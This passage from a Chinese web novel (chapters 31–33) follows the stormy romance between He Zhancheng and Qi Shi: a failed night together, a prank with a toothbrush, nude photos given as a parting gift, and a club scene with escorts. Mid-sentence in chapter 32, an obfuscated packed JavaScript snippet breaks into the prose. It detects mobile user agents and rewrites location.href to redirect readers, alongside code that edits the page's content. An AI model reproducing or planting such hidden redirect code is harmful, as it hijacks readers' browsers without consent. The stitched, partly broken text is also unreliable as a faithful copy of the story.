“当然啊!”何湛程给出百分百肯定的回答:“你哥俩从小相依为命,感情深点儿不是很正常吗?我爸早年跟过他的那些弟兄,死的死,残的残,我爸现在七十多了,夜里睡不着,经常半夜三更跑去祠堂给他弟兄们挨个上香,闲着没事儿就跟我们哥仨反反复复地提那些名字,也没见我妈吃醋啊!” 戚时笑了。 这笑容似曾相识,何湛程想,是那种朴素而明亮的、十分踏实的笑。 “就像树一样,”何湛程忍不住对人进一步解释:“在恶劣的自然环境下,没有水浇灌的树注定是要往地下生长的,但地下的水很少、很深,你们必须把树根缠在一起才能冲破一层又一层坚固的土壤,你就是他,他就是你,这是共生,也是共赢。” 戚时听到这话又不禁黯然:“不,我永远都是坐享其成的那个人,我哥都是为了我才——” “放屁!”何湛程呵斥打断:“要是没有你的存在,你觉得你哥一个人能撑到现在?他对你来说是不可或缺的家人,你于他而言难道就不重要了吗!我真纳闷你脑子怎么长得,这么点儿事都拎不清,看着人模狗样的,怎么还搞愧疚那一套?!” 戚时哭笑不得:“我有什么办法,这都是老毛病了,你爸一把年纪了,大半夜不也照样跑出去上香吗,我哥……我又不能老黏着他,太不成话了。” 何湛程啧一声,知道戚老二这已经养成心病了,他猜,这毛病大概就是从戚老二发愤图强要考好学校开始的吧。 十年了,一时半会也好不了,这人并非不懂道理,只是当局者迷,除了自渡,谁也救不了他。 于是一昂头,伸手拍拍戚时肩膀,说:“那你就多跟我学学吧,我从来不觉得我欠谁的,没经过我同意就生我的人,他们就该养我;有资格骂我的人,他同样该有责任替我收拾烂摊子;讨厌我的人,就让他们永远从我眼前消失;我看上的人,想发设法也要把他们搞到手!” 戚时猝不及防发问:“那我和你看上的其他人有分别吗?” 何湛程差点闪到舌头。 然后毫不犹豫冲人笑眯眯地说:“当然有啊!你是我遇见的最特别的一个,他们都比不上你。” 戚时盯着他眼睛,审视道:“真的吗?” 何湛程淡淡道:“西瓜吃腻了,你去给我洗点圣女果来。” 戚时犹豫了下,问:“别人也给你洗圣女果吗?” 何湛程笑:“别人只能有资格给我洗脚。” 戚时又被哄高兴了,那股子少年性情冲上了头,他从沙发上跳起来,拉着人去厨厅:“你来,你得洗给我吃才行!” 何湛程没好气地被人拽去厨房,晃荡着肩,浪浪荡荡地走着,寻思着,戚老二还真是不客气,他家老爷子还没吃过他给洗的水果呢。 偏过头,望一眼窗外渐黑的天幕,又想,本该在酒店的,他这次怎么就跑人家里来了?而且磨蹭了一整天,东拉西扯的聊,都没怎么干正事儿。 低着头,清澈的纯净水从水龙头里喷涌而出,淋漓在他手背,冷白的皮肤下浮起淡淡青色的筋络,骨节分明的修长十指,心不在焉地搓着圣女果,下一秒,他感受到背后贴近来男人的胸膛。 一双略显粗糙的手怀抱着他腰,缓缓伸到他身前,也淋着水,湿漉漉地插进他的每一个指缝,一时收紧,一时又用力,和他在鲜红果子上缱绻地缠绵、难舍难分。 “程儿,”那人低哑着嗓音,灼热的气息喷洒在他耳廓,“我这一周都没事儿,你要不多住几天吧?” 何湛程闭了闭眼,一颗心摇摇欲坠。 他强撑着镇定,他绝不能让自己沦陷,脸庞也绷紧起来,用一种平静的、高高在上的口吻:“不行,我得回去让何闽轩给我把卡解冻了,我现在身上一分钱都没有,真不自在。” 男人调笑,撞他一下:“花我的啊,我的就是你的,怎么,怕二哥养不起你啊?” 何湛程也笑,身子僵硬起来:“二哥,别闹。” “程儿,”男人又撞他一下,手臂倏地箍紧了他腰,磨着牙齿咬了下他耳垂,笑得痞里痞气的:“再玩儿阵子呗,二哥还没疼够你呢。” 何湛程咬着牙不敢回头:“二哥,你再这样我就要告你性|骚扰了。” 男人哈哈笑起来:“怎么,刚认识的时候就知道对着我的照片打飞机,现在咱们都到这份儿上了,你小子舍得么?” 何湛程气得不行,说话更是毒:“我还不是怕二哥成天和一个男人搞在一起,以后嫂子会介意么?” 男人不以为然:“没有嫂子。” 何湛程冷笑:“那二哥得赶紧给我找个嫂子才是正经,我打飞机的时候还在惦记哪天来喝二哥和嫂子的喜酒呢!” 空气瞬间就静下来了。 水哗哗地流着,冲刷着二人相握的手,鲜红的圣女果溢出来几颗,掉进了水槽里,他与他身体贴得那样近,却再也听不到彼此的心。 整个空旷的屋子,死一样的沉寂。 32. 第32章 电视节目切换回了足球赛,是去年世界杯亚洲区预选赛的重播,首轮Z队对战R队,战绩0—7,开局惨败,气得何湛程差点扔玻璃碗过去把电视砸了,第四轮主场领先Y队一球,他稍微收回点脾气,嘴里焦躁地嚼着圣女果,一个不着意,鲜红的果汁滴到家居服衣摆上,在浅驼色的薄棉布料上洇散开来。 他低头盯着胸前那抹湿红纠结几秒,然后掏手机给戚老二发消息,想要找人再换一套干净的睡衣。 等了近十分钟,戚时没回他消息。 何湛程不知道总裁大人和他又闹什么别扭。 厨房那一阵诡异的沉默后,那人不再与他玩笑,但表情很平淡,不像是生气。 何湛程知道戚老二是有脾气当场就发作的类型,对方没骂他,也没表露出任何不满,所以,何湛程认为他们俩是没事的。 那人抬手将他拨去一边,三两下将圣女果都洗出来,迈着长腿,端着玻璃碗放在客厅茶几上。 他笑嘻嘻地跟出来,热情招呼着二哥继续挨着他坐过来,那人却撂下句“我忙,你自己看吧,晚上冷,记得关窗”,然后头也不回地往楼上去了。 说好接下来一周都有空呢? 明明还是这么忙! 何湛程独自在沙发上看电视,手上抓着一颗颗饱满多汁的圣女果,不间歇往嘴里送,全情投入进球赛,不知不觉三个多小时过去,他满满一碗果子都见了底,戚老二居然还没下来找他玩儿? 他逐渐变得没意思起来。 等到快第四个小时,窗外夜幕降临,弯月高悬在黑漆漆的树梢,一阵又一阵冷风吹进来,何湛程冻得打了个哆嗦,终于意识到不对劲。 这都到饭点儿了,虽然他不饿,但戚老二怎么不问他想吃什么? 他起身关掉电视,决定去楼上找人。 他发消息问戚老二在哪间屋,对方依旧没回复,这种对他爱答不理的态度令人恼火。 搞什么幺蛾子,他可是何湛程! 人见人爱、花见花开的何湛程! 戚老二这个不识相的居然敢不巴结他,简直就是岂有此理! 幸亏提前逛过一圈别墅,他知道戚时能在的地方就几个:三楼的卧室、卧室隔壁用来临时办公的、架子上摆一堆奇形怪状的古董、但一本书都没有的书房、二楼的健身房和影厅,还有一个堆满旧时杂物破烂的小阁楼。 何湛程直奔书房去了。 走廊铺着黑白拼花地毯,人经过时脚步落地无声,何湛程站在门外,低头看了眼左胸口处的湿红,正好跟那一个点重合,有点烦躁怎么滴在这个位置,然后抬起手,敲了敲门。 “二哥,还忙没,我进去了。” 里面无人没有回应。 何湛程毫不客气地推门进去了。 门刚开了缝,一股子呛人的烟味飘了出来,何湛程顿时蹙起了眉。 难怪好几个小时见不着人,戚老二跟他待一块儿,一整个下午都没抽烟,原来是跑私人空间过烟瘾来了? 虽然闻得很不舒服,但他进办公场所习惯性带上门,还没往里走几步,一股浓烈的烟草味就将他完全侵吞进去。 整间书房里缭绕着迷幻的青雾,何湛程捂着鼻子咳了两声,挥了挥烟,终于看见失踪半天的戚大总裁。 那人一脸疲态,又忘我享受般的,正懒懒地闭着眼吞云吐雾。他长腿交叠,修长的身躯仰靠进黑色真皮沙发椅里,桌上的笔记本电脑还开着,不知何时换了套西装,头发也帅气地撩起,似乎刚开完一场线上会议,锃亮的皮鞋边扔着两个被捏瘪成细条的大金砖烟盒,发白的烟灰堆了一地。 何湛程低头给茉莉发消息,问他们开了多久的会,是不是很棘手。茉莉秒回,说会议从五点半开始,不到六点就结束了,会议内容是关于本集团对两个当下经营向好的中型传媒公司的收购问题,戚总需要在对新子公司的控股份额上拿主意。 上位者做决策而已,这并不是一件难办的事。 何湛程皱了皱眉,朝沙发上闭眼装死的那人走过去。 这人吸烟吸得这么凶,完全是自虐式的吸法儿,看看这一地的灰烬、金纸片、桌边扔的俩打火机,知道的,是懂戚老二在心烦,不知道的,还以为这货在提前给自己上坟。 何湛程一把夺过那人夹在指缝的烟,踩在脚底捻灭,瞪他:“傻逼吧你,还抽呢,半天不吱个声,我还以为你死了呢!” 戚时缓缓睁开眼,神情淡淡地瞥他一眼,没吭声,下一秒,漠然地移开目光,从抽屉又拿出一盒烟。 他手指很长,指间关节像青白色的疙瘩,两指一弯,熟练地撕开烟盒口子,低头叼上根新烟,另一手去办公桌上摸打火机。 何湛程冷笑,挥手将人叼在嘴里烟抽走,桌上的俩打火机也全没收了,不待人反应,他一个箭步冲去戚时身后,双臂猛地一推,把窗户打开通风,然后想也不想,将手里的烟和打火机全都扔下了楼。 “你到底怎么了!”何湛程怒了,转身抬腿就朝人沙发背狠踹了一脚,吼道:“说话!” 戚时没理他,心灰意懒地淡着脸,伸手又去扒拉抽屉。 黑漆桃木制的抽屉十分宽敞,里面整齐摆放着两排黄鹤楼大金砖,边角堆着Zippo所有款式的打火机。 何湛程二话不说,两步挡过去,将整个抽屉都抽出来,然后奋力抡着胳膊,冲戚时眼皮子底下的办公桌角噼里啪啦一顿猛砸。 一声又一声闷重的巨响,引得人脑袋发昏、阵阵耳鸣,似乎连整栋楼都跟着颤抖了一下,结实的抽屉被人暴力地砸成两半,数万元的烟和打火机洒了一地,掉落进戚时弹在脚边的烟灰里。 戚时皱了皱眉,看他一眼:“你发什么神经?” 何湛程扔掉报废的抽屉,伸出自己被震得发麻的右手,不客气地在对方脸上啪啪拍了两巴掌,狞笑着:“怎么,这回可算是听见了?” 戚时面无表情地别过脸:“你算我什么人,还管我抽烟。” 何湛程立刻就明白过来。 他又气又笑,强行板过人下巴,居高临下俯视他:“戚老二,你他妈几岁了?我看二十多年来一直没断奶的人是你吧?” 戚时冷着一张脸,打掉他手,说:“你别没完没了。” 何湛程却心情愉悦起来。 事情并没有脱离他的掌控,他对戚老二的表现很满意。 何湛程不计前嫌,屁股一撅,坐人大腿上,埋头趴在戚时怀里,双臂搂住人腰,哼声撒娇:“二哥,你刚才吓坏我了。” 戚时:“……” 他妈的,刚才到底是谁吓坏谁了? 这兔崽子疯起来跟个暴力狂一样,他一抽屉的宝贝就被这兔崽子一通哐哐乱砸,这股子突然飙起来的臭脾气,简直吓得他不敢乱动,整个头皮——不,他整个人都吓麻了! 戚时咽咽吐沫,身体僵硬地坐在沙发上:“我没想到,你、你力气还挺大。” 怀里人仰起头,笑容嫣然,飞快在他嘴角亲了一下:“讨厌,你才大呢!” 戚时轻嘶一口气,突然就有点头疼。 “抱我。”怀里人发话。 戚时老实伸手,将人紧紧抱住。 “吻我。”怀里人又发话。 戚时不肯,低头对人解释:“我刚抽——唔!” 怀里人伸双臂搭上他脖子,猛地将他拽了下去,然后凑上一张调皮带笑的脸,闭眼咬住了他嘴唇,舌头灵活地滑进他齿间,与他激烈地接吻。 “二哥,我好像对你说过,你是最特别的。” “嗯……” “这话我没有骗你。” “嗯……” “所以,答应我,你再也不会像刚才那样抽烟了。” “……” “戚时,我爱你。” “……好。” …… …… 昏暗的卧室,门被撞了开,夜风吹拂进来,戚时脱了衣服,埋头匍匐在何湛程的身上吻着。 何湛程愉悦地闭眼chuan|xi着,他感觉,今晚大概是要把自己交代出去了。 这将是他与他的最后一夜,事是一定要办的,何湛程想,这并不符合他宁死不做零的铁律,但对方是戚时,所以他不介意。 哦,对了,还有一件事。 “二哥,”他喊身上那人,“等一下。” 戚时不愿停下,手臂紧紧箍住他身体,一口咬在他光裸的肩头,不肯让他再跑。 何湛程笑了声,他这次真没想再跑。 艰难地挤出一点身子,将那串沉香珠子从手腕上褪了下去,小心放进了床头的抽屉里。 然后乖乖躺下,冲身上人眨了眨眼:“二哥,来吧,我是你的了!” 戚时就这么默不作声地看着。 上次也是,他们两个人吻得那么激烈,那么忘情,何湛程却突然在中途停下,当着他面,小心翼翼地将腕上那串佛珠摘下来放进抽屉,然后笑着对他说:“好了,来吧,我们继续!” 戚时不研究佛珠,但他收藏古董,他怎么会不懂何湛程是什么意思? 108颗罕见的野生奇楠沉香珠,七位数的两颗南红玛瑙作配珠,价值连城的护身符,自从他们第二次见面,何湛程就一直戴在手上。 所以何湛程认为,他们现在在做的事,是一件会玷污他护身符的肮脏事。 可何湛程刚才还说过“我爱你”。 他爱他的话,难道不应该令他与自己的私人物事都融为一体吗? 戚时最终没进行到底。 他觉得自己还是太看得起自个儿了。 何湛程是什么人? 何家三少爷,浪名在外,全沪上最叫得上名头的花花公子哥儿。 花花公子哥儿会将在外面随机遇上的一段露水情缘放在心上么? 当然不会。 戚时起身就要离开。 何湛程立刻就恼了,赤脚踩上他肩膀,不耐烦地蹬了他两下。 “愣什么呢!快干我!” 戚时沉着眉:“不。” “艹,”何湛程恼羞成怒,抓起两个抱枕全砸他脸上,骂道:“你是不是不行!” 戚时沉默着注视了那人一会儿,强掩下心中的委屈与愧意,冷冰冰回了句“是”,说:“就算是我的失误,我果然还是不习惯和男人一起做。” 何湛程懵了,愣在原地,不敢置信地望着男人离去的背影。 “你、你居然敢玩儿我?” “早点休息,”戚时身心疲惫地关上门,头也不回道,“我先去客房睡了,你今夜最好别再闹,不然我大概会从五楼跳下去。” 毫无征兆的,两行泪突然就从眼尾流了出来,何湛程恨得两眼充血,额角青筋暴起,他两手紧紧攥着床单,怒不可遏的嘶吼声震彻整栋别墅上空: “戚老二!你他妈是不是男人!你是不是男人——!!!你敢这么对我!!你居然敢这么对我——!!!” 男人身影早已不在,回应他的,是紧闭的、黑漆漆的房门,和窗外吹动着寂静夜晚的风声。 一夜无眠。 何湛程两眼发红,强行忍住想把戚老二卧室全砸个稀巴烂的冲动,一整夜抱着手机无能狂怒,戳开和他爸、他妈、他大哥、二哥、还有陈北劲那个坏心眼畜生的聊天框,建了个临时群,在群里冲那些人发疯,打语音电话,喋喋不休将戚老二骂了个通宵! 他们谁也没理他,但想必看到了他的消息,最后忍不住纷纷退群,何湛程就再继续建群,再拉他们,继续痛骂戚老二! 他不能自己不爽,他要让所有人——所有把他和戚老二牵扯起来的人!都跟着他一起不痛快! 凌晨四点半,他大哥在群里训话,言辞犀利地质问他:“戚老二脾气是大,但他不是主动招惹别人的人,你把他惹毛了,难道你就没有责任了吗?” 何湛程立刻编辑了条“滚”。 临发送前,又按捺住火气,把那条不太孝顺的话给删了。 妈的,他大哥那个混蛋,到底是哪家的人?居然胳膊肘往外拐! 戚老二是他招惹的又怎么样? 戚老二居然敢在床上临阵退缩,这难道是一个拥有着20cm几把的男人应有的做派吗?! 何湛程气得要呕血。 想他堂堂何家三少,1风凛凛!多少有身份有地位的男男女女上赶着给他睡,他瞧都不屑瞧一眼,现在!他好容易下定决心把自个儿给送出去,戚老二那个狗男人不睡他就算了,还敢说对他没感觉?! 看都不看他一眼,转身就提裤子走了?! 这简直是他生平的奇耻大辱!! 何湛程痛心疾首。 他何老三风流多年,究竟什么时候这么卑微过!! 次日,早六点半,一脸狰狞地拿着戚老二的牙刷捅了两遍马桶,然后再在小便池里洗涮干净了,给人放漱口杯里。 接着,何湛程拿起自己那支崭新的牙刷,对着镜子刷牙,笑着笑着就流出了泪。 戚老二竟然嫌弃他到了要跳楼的地步…… 他何湛程就这么差劲吗…… 不就睡过几个人吗…… 戚老二交女朋友难道不比他还多吗…… 他身材这么好,屁股这么翘,那狗畜生究竟为什么要这么对待他啊…… 早七点钟,戚时在一楼餐桌上等半天,没等人下楼来吃早饭,犹豫半天,鼓起勇气上楼来催人。 一推开门,就见何老三穿个裤衩光着膀子,嘴里叼着根泡沫牙刷,正抱着盥洗台哭得泣不成声。 戚时心疼得都要碎了,连忙凑过去扶人,关心地问了他句怎么了?何湛程一见着他,登时放声大哭起来,说二哥昨晚走就走吧,早上居然也不和他一起洗漱,他伤心欲绝,生怕这次离开了,以后就再也没有和二哥一起刷牙的机会了。 二哥心软得不行,将他家乖程儿抱在怀里哄,手一下又一下拍着乖程儿的脊背,说他今早已经洗漱过了,但程儿非要坚持的话,他大不了和他再一起刷一遍就是了。 程儿当即委屈巴巴地献上二哥的牙刷。 二哥叹了口气,心事重重地举着漱口杯接满水,刚往牙刷上挤好牙膏,不经意抬头,冷不丁瞥到镜子里某人不怀好意的恶笑,吓得他心肝儿一抖,立刻反应过来不对劲。 四顾张望,眼尖地发现小便池里漂浮着几根他牙刷上的硬毛。 戚时气笑了,压制住怒气,盯着旁边装疯卖傻那人,问:“你干的好事?” 何湛程原形毕露,笑意温柔:“没把你头摁厕所里都算我疼你昨夜肾虚不持久。” 戚时脾气蹭地一下上来,扬手就把牙刷和洗漱杯摔在他脚边,震天响的大嗓门冲他怒吼:“是,老子肾虚!老子不行!全宇宙就他妈你何三少最长最持久!行了吧!满意了吧!满意了就赶紧给老子洗漱!洗完你那张不知道亲过多少个人的臭嘴,再冲冲你那颗每晚不知道想过多少个人的脏脑子!然后赶紧穿上衣服给老子滚楼下来吃饭!” 那人吼完,咬着牙转身摔门离开,砰的一声巨响,何湛程吓得身体一抖。 脚边被溅得一地狼藉,何湛程面无表情地注视着镜子里赤|裸的自己,一秒,两秒,三秒……镜子里如此熟悉又令人厌倦的面容,渐渐幻化成另一个男人愤怒与失望的表情,他一个没忍住,泪失禁般又默默地哭了出来。 他才没有亲过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409041|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人。 他才没有想过很多人。 戚老二这个没良心的混蛋,为什么要冤枉他?为什么要用那样一副受伤的、痛苦的表情看着他?为什么?为什么都气成那样了,还要嘱咐他穿好衣服下楼吃饭? 何湛程放下花洒,闭紧眼,人生第一次冲了冷水澡。 他需要变得清醒。 半小时后,何湛程吹干头发穿好衣服,磨蹭着下楼吃饭,发现戚时竟然还等在那里,脸色臭的像茅坑里的石头,低头扒拉着手机,装作没看见他来,桌前的饭菜一口没动。 一张两米长的餐桌,一人坐一头,隔着千山万水,遥遥相望。 何湛程刚坐下就意识到,这是重新热了一遍的粥,还有重新回了一遍锅的菜。 他餐盘左手边还放着一杯热牛奶,和一张银行卡。 银行卡上贴着张暗红色的便利贴,龙飞凤舞一行遒劲有力的漂亮大字: 柒拾萬,说了给你,就是你的。 是的,柒拾萬。 为了炫耀最近进步神速的书法功底,总裁先生特地用了三个繁体字。 何湛程想了想,在“戚老二是自我感动型/表演型人格”和“这是帮忙保密戚老二下半身有缺陷的封口费”之间,选择了“戚老二是个喜欢做冤大头的傻叉”这个显而易见的结论。 他一滴不剩地喝掉了牛奶,满不在意地将银行卡掰成了两半,扔进了装牛奶的空玻璃杯里,漠漠抬眼望向对方。 对方一脸淡定地夹菜吃饭,对他任何举动都毫无反应。 何湛程不禁有些恼,他一看见戚老二这副做作的姿态就没胃口! 饭没吃两口,立刻起身上楼拿行李,下楼离开时,经过戚老二身后,招呼都不打一声,拖着行李箱就往外走。 “站住,”到底是戚时先忍不住,回头瞥他,“你怎么走?” 何湛程立在门口,冷哼一声:“你管我。” 戚时命令道:“过来再吃点饭,吃饱了我开车送你。” 何湛程昂起下巴:“你求我,我就吃。” 戚时想起什么似的,问他:“我阁楼上有个专门收拾人的钢棍,半米长,八斤六两,大半年没用了,你要我在你腿上试试么?” 何湛程动作丝滑地转过身,五六步狂奔到桌前,一屁股坐到位置上,安安静静地埋头吃饭。 俗话说得好,能屈能伸,方为大丈夫! 他何湛程现在就是一个非常完美的大丈夫! 大丈夫吃饱喝足,拖着行李箱去院子里等坐车,戚时将他箱子放在了车后座,意思是让他坐在副驾。 何湛程才不屑戚老二那个不知道亲过多少张嘴的渣男给他的那点子名分,他不在乎副驾了,坚持将行李放后备箱,然后从兜里摸出根早上在冰箱顺来的火腿肠,剥掉了皮,一点点喂给起大早给他汪汪送行的果汁儿。 “果汁儿,”他手掌揉着小狗毛茸茸的头,俯身在它耳畔轻声说,“你这个坏蛋,我明明最喜欢你了。” 然后不再留恋,抬腿一跨,迈进了戚老二那辆路虎的后车座。 清晨京城的天空多了几分澄净,没呼吸两口新鲜空气又被随处可见的冷钢建筑群镇压下去,一路风景荒凉而苍白,偶尔途径市区几座花团锦簇的公园,退休老头老太太们聚在一块儿赏景锻炼,精神矍铄,一张张笑脸比路上步履匆匆、疲于为生活和梦想奔波的年轻人们更为鲜活灿烂。 犹如复制粘贴般的城市景观,在车窗外如梭般闪过,何湛程心不在焉地歪身靠在座椅上,缓缓伸手摸进夹克衫的衣兜。 他俩都闹成这样了,这些他精心准备的赠语,他还要不要送出去? 天知道他有多么钦佩自己的奇思妙想,他没逛礼品店,也没买明信片,但他百分百确定,这份礼物,戚时绝对会喜欢,且他自己看着也非常的赏心悦目。 这是一件艺术品。 而且,这将是一件令戚老二看到后就会追悔莫及、哭着喊着求他回来的艺术品。 一抬眼,正对上前排后视镜某人瞥过来的一双眼,何湛程不自在地别开目光,装作没看到。 驾驶座上的人却紧紧凝视着他,半晌,冷不丁开口问:“你右手上那串珠子,卖么?” 何湛程纳闷转回头,瞪他:“有病吧你!” 戚老二书房摆那么多珍稀古董,这人看不出这是他何湛程的护身符? 这可是他何老三的命根子,他就算是送出去也绝没人敢要,戚老二脑子被驴踢了吧?这穷小子禁得起他这份福气么?不怕折寿吗? 戚老二冷笑,口气狂的不行:“是,我有病,你开个价吧。” 何湛程抱臂甩人一张臭脸:“滚,不卖!” 戚老二:“怎么样才能卖?” 何湛程:“怎么样都不卖。” 戚老二:“但是我就相中你这珠子了。” 何湛程呵呵笑:“那你自己开飞机去越南深山老林里采去吧。” 戚老二:“我就想要你手上戴的这个。” 何湛程没忍住破口大骂:“你是不是脑残!是不是有病!横刀夺爱你还是人吗!戚老二我警告你,我是喜欢你,但你别太蹬鼻子上脸了!” 戚老二无动于衷,平静而执着:“程儿,我想要。” 何湛程:“……” 何湛程冷冰冰的:“给我滚,立刻,马上。” 戚老二笑了声:“少爷长眼没啊,没见着我开车呢啊?” “停车,你滚,我自己开。” “那哪儿行啊,”戚老二将手搭在方向盘,回头冲他轻挑一笑,“伺候人的活儿,还是让二哥干吧。” 不说还好,一说起来,何湛程登时怒上心头,狰狞着脸,放声癫笑起来。 “哈哈哈哈哈哈!你干?艹!你干得明白吗?” 戚时:“……” 原来这就是,道高一尺,魔高一丈,长江后浪推前浪,一山更比一山高。 这般无休无止的吵嘴,时间过得也快,当戚时将车停在机场外,俩人下车拿行李时,又很默契的都安静下来。 戚时打算再送他一段,何湛程说没必要,见戚老二沉默,他犹豫了下,从衣兜里掏出个东西,飞快地塞对方手里,说了句“分手礼物,再也不见!”,然后头也不回地跑走了。 戚时站在车旁,目光凝望着那人远去的背影,直至那只令他又爱又恨的兔崽子——那样一个万里挑一、光彩耀人的大帅哥,也终于淹没在形形色色的人群,凝成一个再普通不过的黑点,他才缓缓低下头,打量手里的东西。 是个定制的纸牌盒,偏方形,很扁薄,封面是一座漆黑城堡森林,中央燃烧着一朵红玫瑰,美得摄人心魂。 戚时意识到,这大概是何湛程写给他的赠语,一时心头滋味复杂。 何湛程是那种会给每个情人都写赠语的人吧?字里行间流露出款款情谊,令人对他欲罢不能,但实际上,这只是那位聪明的少爷即兴的玩乐,给人的感觉就像…… 就像一场精心布置的行为艺术。 戚时不太情愿地打开盒子,里面差不多是二十来张拍立得相片。 他随便抽出一张来,先看到的是白底黑字的反面: 旁人皆是欲望,而你待我是情谊; 我因此要在心中为你留出三分余地,回赠你不满十分的一半。 然后是正面: 兔崽子搔首弄姿地倚靠在酒店的盥洗台上,举着相机照着镜子自拍,胸前、臀后全都一览无遗,简直妖精一样,笑眼迷离地冲他张开嘴,颇具暗示性地伸出了软滑的舌头。 而且……一丝|不挂。 轰一声! 戚时整张脸爆红得炸开了花。 33. 第33章 高级会所的私人包厢,黑冰裂纹大理石桌面的矮几上,威士忌酒杯里流动着淡金色的光,水波粼粼的,犹如某个人含情带笑的眼眸。 沙发上的男人猛地一仰头,粗大喉结滚动两下,将杯中酒一饮而尽。 他穿偏商务化的黑衬衫与西裤,袖口挽到肘间,露出肌肉紧实的小臂,领口惯常松开两颗扣子,饱满的胸膛几乎将丝滑的蚕丝布料撑破,右手指间虚夹着支烟,薄薄的烟雾飘荡在昏暗的光影里,他低垂着眉,令人看不真切。 只知道是位来头不小的、英俊成熟的男人。 锃亮的皮鞋踩着扔在地上的领带,压迫感扑面而来。 几个面庞白净的男孩拘谨地立在桌前,等了半天,不知道他要干什么,更不敢吭一声。 终于,有个男孩忍不住了,低头捂嘴小声咳嗽了下,男人缓缓抬起眼,用一种几近刻薄的、挑剔的冰冷目光,将他们从头到脚一一扫过。 手指随意地悬到玻璃缸,男人掸了掸烟灰,下一秒,往桌上甩出七沓红钞。 “拿钱的直接走,不拿钱的留下来陪我喝酒。” 一沓红钞十万块,共七十万,一人一份,几个男孩面面相觑,犹豫到底是拿钱走人,还是陪这位出手阔绰的男人共度良宵。 十万块对他们来说,不多不少,两三天就能赚到的钱,两三天就能挥霍光,而且,他们每个人都被精心挑选出来高级男模,又都是初夜,身子金贵,虽说拿钱走人听起来不错,但这位客人往后再来,肯定就不会再点他们了。 可如果今晚他们把客人哄高兴了,随便谁被人相中了,豪车礼物还不都是要多少来多少? 那个咳嗽过的男孩预料客人会嫌弃他,没纠结多久就拿着钱走了,剩下六个人,一窝蜂涌过来,点烟、倒酒、剥葡萄皮,该唱歌的唱歌,该跳舞的跳舞,偌大华贵的包厢,一刹间迷幻光影炫耀闪动,短短几分钟就热闹起来。 活泼开朗的少年音充斥着包厢内每一个角落,一个男孩唱到嗨处,不免有些得意忘形,跑过来将话筒递给沙发上的男人,甜甜地撒娇,说“哥,你来一首”,男人皱起眉,不耐烦地说了句“你自己唱”,男孩被吓到了,意识到自己算是没戏了,出于职业素养,强颜欢笑着跑走了,转头就切了首凄哀的悲情歌曲,嚎着嗓子唱起来了。 戚时被气得头疼。 依偎在他身旁的两个男孩倒懂事儿,拿着威士忌帮他一杯杯满上,一口一个“哥哥”的喊,声线清朗,带几分利落的生脆,他拒绝不了,仰着脖子一口口往喉咙里猛灌。 他妈的,兔崽子居然敢不接他电话,如果何湛程真的不想让自己联系他,又为什么要在离别前送裸|照给他?! 何老三不是学商科的么?这行为艺术搞得有点过头了吧! 明明昨晚还吵着闹着求自己干他,今天就又开始装上高冷了? 冷不丁呛了口酒,戚时低下头咳嗽两声,夹烟的手紧紧捏着玻璃杯,手指冰凉,眼圈微微发红。 何老三那个没心没肺的小畜生,是不是要在每一个爱上他的人的心口处捅一刀,才会觉得开心? 可他不一样。 他是有尊严的正派男人。 主动拨过去一遍电话,这就已经是他戚老二的底线;消息最多发三条,一条“你那照片什么意思?”,一条“要不要回来和我交往”,一条“不回复就算了”。 呵呵,谁要跟何湛程那种臭名远扬的人谈恋爱啊? 他戚老二还嫌掉价呢! 酒过三巡,戚时醉醺醺的,叼着烟穿外套,准备起身离开。 两个陪他喝酒的男孩见他松懈,愈发变本加厉地缠着他,一只细白的手过来解他皮带,软语求他“哥哥,带我走吧”,戚时皱了下眉,刚想发火,一转头对上那男孩白净委屈的脸,他突然又觉得伤心。 男孩委屈,他也委屈。 今儿晚上,总要有一个人不委屈吧? 戚时扭头喷了口烟,将烟头捻灭,抬手揉了两把男孩儿头发,问:“会开车么?” 男孩儿一喜,连忙点头:“会!” 戚时笑了声,扬手将车钥匙抛给他,两手插裤兜,头也不回地往外走:“走着,哥带你住酒店去。” 他的地盘,倒不是睡不起,只是…… 只是放着赵博那种级别的学霸大学生不要,吃饱了撑得跑来会所玩鸭子,这要传到当初费尽心思帮他学物理的他哥的耳朵里,他哥绝逼会亲手把他眼珠子给抠出来喂狗。 还有,他骂了无数遍鸭子的、他哥身边那个小绿茶,也绝逼会冷嘲热讽地针对他。 他戚时英明一世,暂时还丢不起这个人。 戚时脚步有些踉跄,男孩贴心地扶着他走,不时在他耳边提醒“哥,小心台阶”,他醉意朦胧含混应着,二人走出“江山府”的会所大门,凉丝丝的夜风拂面吹来,戚时清醒几分,瞥了眼那只挽在他臂间的手,不免又觉得后悔。 人心真是有趣,心里面没装着谁的时候,在外头和谁乱搞一通都无所谓,一旦心里住进去一个人,甭管那人有多可恶、伤他多痛、辜负他多深,接下来哪怕再来一百个、一千个和那人模样气质相近的好人,也入不了自己的眼。 “哥,”男孩询问道,“你车是那辆路虎吧?” 戚时睫毛颤了颤,轻轻点了下头。 “哥,”男孩拉他过去,笑道,“那我们上车吧。” 戚时眼眶有些湿润,又轻轻点了下头。 真是见鬼了,分明是他要睡人,现在搞得好像他是那个被强占的似的。 男孩先开副驾门,扶他进去,戚时一条腿刚迈进去,身后突然传来一道阴阳怪气的冷笑: “戚老二,一天不见,你他妈出息了,真少爷不稀罕,跑来会所玩儿假少爷啊?” 戚时心脏一颤,猛然回头。 何湛程独身一人立在五米外的人行道上,没拿行李箱,身上还穿着早上去机场那套夹克衫牛仔裤,见他回头,迈着大步走来,扬手给了他一个清脆响亮的巴掌! “艹!” 戚时被打得偏过脸,不禁低骂出声,又忍不住嘴角翘起。 “傻逼吧你!”何湛程阴沉着一张脸,“你以后再让别人穿和我一样的衣服试试呢!大半夜在路边和这么个丑八怪卿卿我我,看一眼你俩我都嫌恶心!” 十足的正宫架势,且火力全开。 白衬衫红鞋男孩儿精明的很,连忙松开戚时的胳膊,往后退了两步,谨慎地向对方确认问:“你是?” “我是他男人,”何湛程一把将突然笑得前仰后合的某人拽自己怀里,冷眼瞥向男孩,“还不快滚?!” 男孩飞快地把车钥匙交给他,一溜烟跑了。 